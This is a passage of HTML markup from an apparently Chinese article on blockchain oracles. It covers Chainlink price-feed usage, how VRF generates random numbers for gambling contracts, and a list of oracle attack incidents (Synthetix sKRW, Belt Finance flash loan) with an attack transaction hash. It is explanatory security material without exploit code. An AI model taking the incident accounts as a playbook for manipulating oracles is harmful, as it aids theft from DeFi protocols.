18px;">使用Chainlink预言机</span></strong></p></section><section style="display: flex;justify-content: center;align-items: center;margin-top: -5px;justify-content: space-between;width: 100%;" data-mid="" mpa-from-tpl="t"><section style="width: 6px;height: 6px;border-width: 1px;border-style: solid;border-color: rgb(87, 87, 87);margin-left: -1px;" data-mid="" mpa-from-tpl="t"><br/></section><section style="width: 6px;height: 6px;border-width: 1px;border-style: solid;border-color: rgb(87, 87, 87);margin-right: -1px;" data-mid="" mpa-from-tpl="t"><br/></section></section></section></section></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="line-height: 120%;font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">使用 Chainlink 预言机为我们的智能合约提供链下数据：</span></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="line-height: 120%;font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">官方文档：</span><span style="line-height: 120%;font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-decoration: underline;"><a href="https://docs.chain.link/data-feeds/price-feeds" target="_blank">https://docs.chain.link/data-feeds/price-feeds</a></span></section><section data-mpa-template="t" mpa-from-tpl="t"><section data-mpa-template="t" mpa-from-tpl="t"><section data-mpa-category="模板" style="width: 100%;" data-mid="" mpa-from-tpl="t"><section style="width: 100%;display: flex;justify-content: center;align-items: center;margin-bottom: 6px;" data-mid="" mpa-from-tpl="t"><section style="width: 14px;" data-mid="" mpa-from-tpl="t"><img class="rich_pages wxw-img" data-ratio="1" style="width: 100%;display: block;" data-w="56" src="https://wechat2rss.xlab.app/img-proxy/?k=2a42aa87&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FWO9VV25obe6EhYScXDsYM5JuQxsEy23Pff3wrHnAoiavctIBg38X8h2KHUOp2wxgUmryib4cicXz9Izw0yibgD3omw%2F640%3Fwx_fmt%3Dpng"/></section></section><section style="width: 100%;display: flex;justify-content: flex-start;align-items: flex-end;" data-mid="" mpa-from-tpl="t"><section style="width: 31px;margin-bottom: -19px;z-index: 10;" data-mid="" mpa-from-tpl="t"><img class="rich_pages wxw-img" data-ratio="1" style="width: 100%;display: block;" data-w="126" src="https://wechat2rss.xlab.app/img-proxy/?k=8bc0436c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FUmhticF6CACyKsVxxyCnaMdszMEHWomU2Uvlzic6EOWf8F4t7tbmgEILVzN5nEibELicOV6rg88nWhw8xQAh6WnmUA%2F640%3Fwx_fmt%3Dpng"/></section></section><section style="width: 100%;padding: 0 12px;" data-mid="" mpa-from-tpl="t"><section style="width: 100%;padding: 12px;border-width: 1px;border-style: solid;border-color: rgb(151, 151, 151);font-size: 14px;font-weight: 400;color: rgb(51, 51, 51);line-height: 20px;" data-mid="" mpa-from-tpl="t"><p style="margin: 16px;text-indent: 0pt;white-space: normal;font-size: 10.5pt;font-family: Dialog;line-height: 1.5em;"><span style="font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 19.2px;">1、首先我们需要获取预言机的地址，以BTC/USD的价格为例，它在Goerli测试网的地址为：</span></p><p style="margin: 16px;text-indent: 0pt;white-space: normal;font-size: 10.5pt;font-family: Dialog;line-height: 1.5em;"><span style="font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 19.2px;">0xA39434A63A52E749F02807ae27335515BA4b07F7。</span></p><p style="margin: 16px;text-indent: 0pt;white-space: normal;font-size: 10.5pt;font-family: Dialog;line-height: 1.5em;text-align: left;"><span style="font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 19.2px;">2、从 @chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol 文件中引入接口AggregatorV3Interface。并将预言机地址作为实现。</span></p><p style="margin: 16px;text-indent: 0pt;white-space: normal;font-size: 10.5pt;font-family: Dialog;line-height: 1.5em;"><span style="font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 19.2px;">3、现在我们只需要在合约中调用latestRoundData()就可以获取到BTC/USD的最新价格。</span></p><section style="margin: 16px;text-indent: 0pt;white-space: normal;font-size: 10.5pt;font-family: Dialog;line-height: 2em;text-align: center;"><span style="font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><img class="rich_pages wxw-img" data-ratio="0.5105105105105106" style="width: 100%;border-radius: 12px;height: auto !important;" data-type="png" data-w="333" src="https://wechat2rss.xlab.app/img-proxy/?k=2c58c14d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXlde3sXl0vzPPv38dSyhMGmmupfYicv72mg6W3YWP9smq6xDh8wUwiaIfpfbQ7R1ib08dZlqID3aUZjqrg%2F640%3Fwx_fmt%3Dpng"/></span></section></section></section><section style="width: 100%;display: flex;justify-content: flex-end;align-items: flex-start;" data-mid="" mpa-from-tpl="t"><section style="width: 31px;margin-top: -19px;z-index: 10;" data-mid="" mpa-from-tpl="t"><img class="rich_pages wxw-img" data-ratio="1" style="width: 100%;display: block;" data-w="126" src="https://wechat2rss.xlab.app/img-proxy/?k=496871b3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FHibnYZIeibmicUolebQVsdiboTCP6xs1awxvKEhrSnHRtCsObWicGicnGJjFzJziaYR5xLS5PxLibj9ydzk25LMbrl5jBw%2F640%3Fwx_fmt%3Dpng"/></section></section></section></section></section><section style="font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;text-indent: 0pt;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;text-indent: 0pt;">Chainlink 免费提供了主流的代币和货币的价格，可以直接用上面的方法取得。</span></section><section style="font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;text-indent: 0pt;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;text-indent: 0pt;">同时Chainlink还支持自定义 API 的预言机，这时 Chainlink 的 DON（去中心化预言机网络）会从智能合约获取我们自定义的 API 代码，然后获取并上传数据到链上，不过这样的自定义 API 需要付费使用，Chainlink 仅接受 Link 作为支付代币。</span><br/></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="line-height: 120%;font-weight: bold;font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><br mpa-from-tpl="t"/></span></section><section data-mpa-template="t" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;width: 100%;justify-content: flex-start;padding-left: 18px;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;justify-content: space-between;width: 100%;margin-bottom: -5px;" data-mid="" mpa-from-tpl="t"><section style="width: 6px;height: 6px;border-width: 1px;border-style: solid;border-color: rgb(87, 87, 87);margin-left: -1px;" data-mid="" mpa-from-tpl="t"><br/></section><section style="width: 6px;height: 6px;border-width: 1px;border-style: solid;border-color: rgb(87, 87, 87);margin-right: -1px;" data-mid="" mpa-from-tpl="t"><br/></section></section><section style="height: 38px;background: #F9F9F9;text-align: center;padding: 0px 31px;z-index: 1;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Regular, PingFang SC;color: #333333;line-height: 38px;" data-mid=""><strong><span style="font-size: 18px;">常见预言机攻击面</span></strong></p></section><section style="display: flex;justify-content: center;align-items: center;margin-top: -5px;justify-content: space-between;width: 100%;" data-mid="" mpa-from-tpl="t"><section style="width: 6px;height: 6px;border-width: 1px;border-style: solid;border-color: rgb(87, 87, 87);margin-left: -1px;" data-mid="" mpa-from-tpl="t"><br/></section><section style="width: 6px;height: 6px;border-width: 1px;border-style: solid;border-color: rgb(87, 87, 87);margin-right: -1px;" data-mid="" mpa-from-tpl="t"><br/></section></section></section></section></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(0, 122, 170);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-weight: bold;letter-spacing: 1px;text-indent: 0pt;">预言机的VRF为链上博彩提供数据支撑</span><br/></section><p style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="text-indent: 0pt;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;">博彩一直是一个多金且游走在法律边缘的行业。</span><span style="text-indent: 0pt;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;">它的本质其实就是对某一随机事件的预测，所以它需要一个不可预测且可验证的随机数。</span></p><p style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;text-indent: 0pt;">区块链提供了一个透明且去中心化的平台，这</span><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;text-indent: 0pt;">两个特点迎合了博彩行业用户的需求。</span><br/></p><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="text-indent: 0pt;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;">但是区块链却很难独立的产生随机数，因为智能合约需要不管在何时何地运行都得到一致的结果，没有随机性可言，而 BlockHash 这样的随机数很容易被出块者篡改。导致博彩合约难以在区块链系统中得到需要的随机源。</span></section><section style="text-indent: 0pt;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;line-height: 120%;letter-spacing: 1px;color: rgb(84, 84, 84);">而 Oracle 就能提供链下生成的随机数满足这一需求。</span></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="line-height: 120%;font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">VRF (Verifiable Random Function)是一个可证明和验证的随机数生成器 (RNG)。</span></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="line-height: 120%;font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">它常被 Oracle 用于向链上提供不可篡改且可验证的随机数。同时它也在 PoS 的区块链中，常常被用于作为随机选举出块者和验证者的随机源。</span></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><img class="rich_pages wxw-img" data-ratio="0.26268115942028986" style="width:552.010009765625px;height:145.0px;" data-type="png" data-w="552" src="https://wechat2rss.xlab.app/img-proxy/?k=de4083d4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXlde3sXl0vzPPv38dSyhMGmmu3jPj4VhmmOia8LIqDsSjmOoIJgM95DFEcOrdWHYUNq89nrLxWgvlayA%2F640%3Fwx_fmt%3Dpng"/></span></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;text-indent: 0pt;">VRF 的数据输入通常包含一对公钥和私钥（也称为“verification key”和“secret key”）以及一个 seed 。</span><br/></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="line-height: 120%;font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">Oracle 利用这三个数据为博彩合约提供不可篡改且可验证的随机数的过程如下：</span></section><section data-mpa-template="t" mpa-from-tpl="t"><section style="width: 100%;padding: 8px 13px 0 13px;" data-mid="" mpa-from-tpl="t"><section style="width: 100%;" data-mid="" mpa-from-tpl="t"><section style="width: 100%;background: #333333;transform: rotate(-3deg);" data-mid="" mpa-from-tpl="t"><section style="width: 100%;text-align: left;transform: rotate(3deg);background: rgb(255, 255, 255);border-width: 1px;border-style: solid;border-color: rgb(51, 51, 51);padding: 12px 8px 12px 10px;" data-mid="" mpa-from-tpl="t"><p style="margin: 16px;text-indent: 0pt;white-space: normal;font-size: 10.5pt;font-family: Dialog;line-height: 1.5em;text-align: justify;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;">1、<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 19.2px;">博彩合约向 VRF 合约发起随机数请求，然后 VRF 合约会先通过一个固定算法生成一个 preSeed，同时记录下当前这笔交易的 blockNumber，然后将 preSeed 作为 Event Log 内容发送至以太坊上。</span></span></p><p style="margin: 16px;text-indent: 0pt;white-space: normal;font-size: 10.5pt;font-family: Dialog;line-height: 1.5em;text-align: justify;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 19.2px;font-size: 15px;">2、Oracle 会监听到此 Event 后，就得到了 preSeed 和 blockNumber，并且根据 blockNumber 得到对应的blockHash。</span></p><p style="margin: 16px;text-indent: 0pt;white-space: normal;font-size: 10.5pt;font-family: Dialog;line-height: 1.5em;text-align: justify;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 19.2px;font-size: 15px;">3、在等待指定数量的区块确认之后，Oracle 用自己的私钥将上述包括 preSeed、blockHash 在内的参数作为前面提到的 seed 去生成随机数以及Proof，并将它们提交回 VRF 合约中。</span></p><p style="margin: 16px;text-indent: 0pt;white-space: normal;font-size: 10.5pt;font-family: Dialog;line-height: 1.5em;text-align: justify;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 19.2px;font-size: 15px;">4、这时VRF合约会根据自己生成的 preSeed，blockHash 和公钥去验证这个随机数和 Proof。</span></p><p style="margin: 16px;text-indent: 0pt;white-space: normal;font-size: 10.5pt;font-family: Dialog;line-height: 1.5em;text-align: justify;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 19.2px;font-size: 15px;">5、如果验证通过，这个随机数就可以被博彩合约使用了。如果验证不通过，那么这次 Oracle 提交的 Proof 交易就会被回滚，这样 Oracle 节点就无法获取奖励。</span></p></section></section></section></section></section><p><br mpa-from-tpl="t"/></p><section style="font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;text-indent: 0pt;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;text-indent: 0pt;">VRF 之所以能产生不可预测的随机数，主要是因为采用了两个未知因素：</span><br/></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 8px 16px;text-align: justify;line-height: 2em;"><em><span style="line-height: 120%;font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(0, 122, 170);">1.  BlockHash（在区块被矿工打包确认前是未知的，被打包之后才能确定）</span></em></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 8px 16px;text-align: justify;line-height: 2em;"><em><span style="line-height: 120%;font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(0, 122, 170);">2.  VRF 中由 Oracle 持有的私钥</span></em></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="line-height: 120%;font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">随机数的生成如果只有 BlockHash 作为 seed 来源，那么矿工可能作恶；如果只有 Oracle 的 Proof 作为来源，那么 Oracle 节点可能作恶。</span></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="line-height: 120%;font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">所以 VRF 巧妙的结合了这两个未知来源，Oracle 节点用其私钥构建的 Proof 中包含了 BlockHash 及 preSeed 这两个参数，保证了随机数的不可预测性，除非 Oracle Nodes 和矿工共谋作恶。</span></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="line-height: 120%;font-weight: bold;font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><br mpa-from-tpl="t"/></span></section><section data-mpa-template="t" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;width: 100%;justify-content: flex-start;padding-left: 18px;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;justify-content: space-between;width: 100%;margin-bottom: -5px;" data-mid="" mpa-from-tpl="t"><section style="width: 6px;height: 6px;border-width: 1px;border-style: solid;border-color: rgb(87, 87, 87);margin-left: -1px;" data-mid="" mpa-from-tpl="t"><br/></section><section style="width: 6px;height: 6px;border-width: 1px;border-style: solid;border-color: rgb(87, 87, 87);margin-right: -1px;" data-mid="" mpa-from-tpl="t"><br/></section></section><section style="height: 38px;background: rgb(249, 249, 249);text-align: center;padding: 0px 31px;z-index: 1;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(51, 51, 51);line-height: 38px;" data-mid=""><strong><span style="font-size: 18px;">针对预言机的攻击事件</span></strong></p></section><section style="display: flex;justify-content: center;align-items: center;margin-top: -5px;justify-content: space-between;width: 100%;" data-mid="" mpa-from-tpl="t"><section style="width: 6px;height: 6px;border-width: 1px;border-style: solid;border-color: rgb(87, 87, 87);margin-left: -1px;" data-mid="" mpa-from-tpl="t"><br/></section><section style="width: 6px;height: 6px;border-width: 1px;border-style: solid;border-color: rgb(87, 87, 87);margin-right: -1px;" data-mid="" mpa-from-tpl="t"><br/></section></section></section></section></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><strong><span style="color: rgb(0, 122, 170);"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;text-indent: 0pt;">1、</span><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;text-indent: 0pt;line-height: 120%;font-weight: bold;">Synthetix sKRW预言机故障：</span></span></strong></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="line-height: 120%;font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">Synthetix 是一个衍生品平台，它允许用户访问其他货币等资产。为了实现这一目标，当时的 Synthetix 依赖于一个定制的链外喂价实现，其喂价数据以固定的时间间隔发布到链上。</span></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="line-height: 120%;font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">这些价格允许用户对支持的资产做多或做空。</span></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="line-height: 120%;font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">2019年6月25日，Synthetix 依赖的一份喂价报告称，韩元的价格比真实汇率高出1000倍。</span></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="line-height: 120%;font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">由于价格预言机系统中其他地方的错误，这一价格被系统接受并发布到链上，随后一个交易机器人迅速进出这个 sKRW 市场从该漏洞中牟利。</span></section><section style="text-indent: 0pt;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;line-height: 120%;letter-spacing: 1px;color: rgb(84, 84, 84);">尽管 Synthetix 团队与交易者协商，希望其返还资金以换取漏洞奖励，但总的来说，这个机器人有能力赚取超过10亿美元的利润。</span></section><section style="font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;text-indent: 0pt;line-height: 2em;"><strong><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(0, 122, 170);">2、<span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;font-size: 16px;line-height: 120%;font-weight: bold;">Belt Finance AMM：</span></span></strong></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="line-height: 120%;font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">2021年5月30日，币安智能链上多策略收益优化 AMM 协议 Belt Finance遭遇闪电贷攻击，四个资金池受到影响，损失620万美元。</span></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><img class="rich_pages wxw-img" data-ratio="0.5072463768115942" style="width:552.010009765625px;height:280.0px;" data-type="png" data-w="552" src="https://wechat2rss.xlab.app/img-proxy/?k=588cbb03&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXlde3sXl0vzPPv38dSyhMGmmudt6YtnQnzcNoNRX8nVkFv3ECZx1xcyrdiaqiaA0wmrJTn9XEIMvRaV8g%2F640%3Fwx_fmt%3Dpng"/></span></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="line-height: 120%;font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">这次攻击交易hash：0x50b0c05dd326022cae774623e5db17d8edbc41b4f064a3bcae105f69492ceadc</span></section><section data-mpa-template="t" mpa-from-tpl="t"><section style="width: 100%;display: flex;flex-direction: column;padding: 0px 14px;" data-mid="" mpa-from-tpl="t"><section style="width: 100%;display: flex;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section style="width: 7px;height: 7px;background: rgb(255, 255, 255);border-width: 1px;border-style: solid;border-color: rgb(80, 78, 72);border-radius: 50%;align-self: flex-start;z-index: 1;margin-bottom: -7px;margin-left: -3px;" data-mid="" mpa-from-tpl="t"><br/></section><section style="width: 7px;height: 7px;background: rgb(255, 255, 255);border-width: 1px;border-style: solid;border-color: rgb(80, 78, 72);border-radius: 50%;align-self: flex-end;z-index: 1;margin-bottom: -4px;margin-right: -3px;" data-mid="" mpa-from-tpl="t"><br/></section><section style="width: 100%;background: rgb(198, 193, 186);border-width: 1px;border-style: solid;border-color: rgb(80, 78, 72);padding: 4px;" data-mid="" mpa-from-tpl="t"><section style="width: 100%;text-align: left;background: #FFFFFF;padding: 13px 10px 14px 17px;" data-mid="" mpa-from-tpl="t"><section style="margin: 8px 16px;text-indent: 